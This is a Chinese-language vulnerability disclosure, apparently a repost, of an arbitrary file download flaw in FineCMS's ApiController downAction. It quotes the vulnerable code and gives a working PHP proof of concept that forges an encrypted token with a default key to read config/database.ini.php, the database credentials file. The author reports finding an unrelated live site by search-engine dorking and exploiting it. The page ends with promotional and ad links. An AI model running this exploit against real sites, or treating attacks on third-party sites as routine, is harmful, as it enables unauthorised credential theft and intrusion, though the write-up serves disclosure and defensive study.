FineCMS 任意文件下载

技术 作者:HackerEye 2018-08-24 09:18:21
  1. 发布时间:2016-08-08
  2. 公开时间:N/A
  3. 漏洞类型:文件操作
  4. 危害等级:高
  5. 漏洞编号:xianzhi-2016-08-37352518
  6. 测试版本:N/A

漏洞详情

FineCMS安装时没有初始化SITE_MEMBER_COOKIE,导致加密信息可被任意伪造 controllers\ApiController.php 行57
public function downAction() {
        $data = fn_authcode(base64_decode($this->get('file')), 'DECODE');
        $file = isset($data['finecms']) && $data['finecms'] ? $data['finecms'] : '';
        if (empty($file)) {
            $this->msg(lang('a-mod-213'));
        }
        if (strpos($file, ':/')) {
            //远程
            header("Location: $file");
        } else {
            //本地
            $file = str_replace('..', '', $file);
            $file = strpos($file, '/') === 0 ? APP_ROOT.$file : $file;
            if (!is_file($file)) {
                $this->msg(lang('a-mod-214') . '(#' . $file . ')');
            };
            header('Pragma: public');
            header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
            header('Cache-Control: no-store, no-cache, must-revalidate');
            header('Cache-Control: pre-check=0, post-check=0, max-age=0');
            header('Content-Transfer-Encoding: binary');
            header('Content-Encoding: none');
            header('Content-type: ' . strtolower(trim(substr(strrchr($file, '.'), 1, 10))));
            header('Content-Disposition: attachment; filename="' . basename($file) . '"');
            header('Content-length: ' . sprintf("%u", filesize($file)));
            readfile($file);
            exit;
        }
    }
文件名经过baes64_decode->fn_authcode之后直接进入了readfile()函数 造成任意文件读取 POC如下
<?php
define('SITE_MEMBER_COOKIE', '2967e68d382902a'); 
$str = array('finecms'=>'config/database.ini.php');
$code = fn_authcode($str,'ENCODE');
echo urlencode(base64_encode($code))."\n";
function fn_authcode($data, $operation = 'DECODE', $key = '', $expiry = 0) {
    $ckey_length = 4;
    $string    = $operation == 'DECODE' ? $data : array2string($data);
    $key    = md5($key ? $key : SITE_MEMBER_COOKIE);
    $keya    = md5(substr($key, 0, 16));
    $keyb    = md5(substr($key, 16, 16));
    $keyc    = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
    $cryptkey    = $keya . md5($keya . $keyc);
    $key_length = strlen($cryptkey);
    $string    = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
    $string_length    = strlen($string);
    $result = '';
    $box    = range(0, 255);
    $rndkey = array();
    for($i    = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }
    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {
            return string2array(substr($result, 26));
        } else {
            return '';
        }
    } else {
        return $keyc . str_replace('=', '', base64_encode($result));
    }
}
function array2string($data, $isformdata = 1) {
    if($data == '') return '';
    if($isformdata) $data = new_stripslashes($data);
    return serialize($data);
}
function new_stripslashes($string) {
    if(!is_array($string)) return stripslashes($string);
    foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
    return $string;
}
function string2array($data) {
    if ($data == '') return array();
    if (is_array($data)) return $data;
    if (strpos($data, 'array') !== false && strpos($data, 'array') === 0) {
        // 存在安全性威胁
        if (IS_ADMIN) {
            @eval("\$array = $data;");
            return $array;
        } else {
            exit($data.'<hr>兼容性验证失败,请复制当前页面的URL和以上错误代码上报给管理员');
        }
    }
    return unserialize($data);
}
百度power by finecms随便找了个站 截图如下 作者:索马里的乌贼 链接:https://www.jianshu.com/p/42927f3b99fc

关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接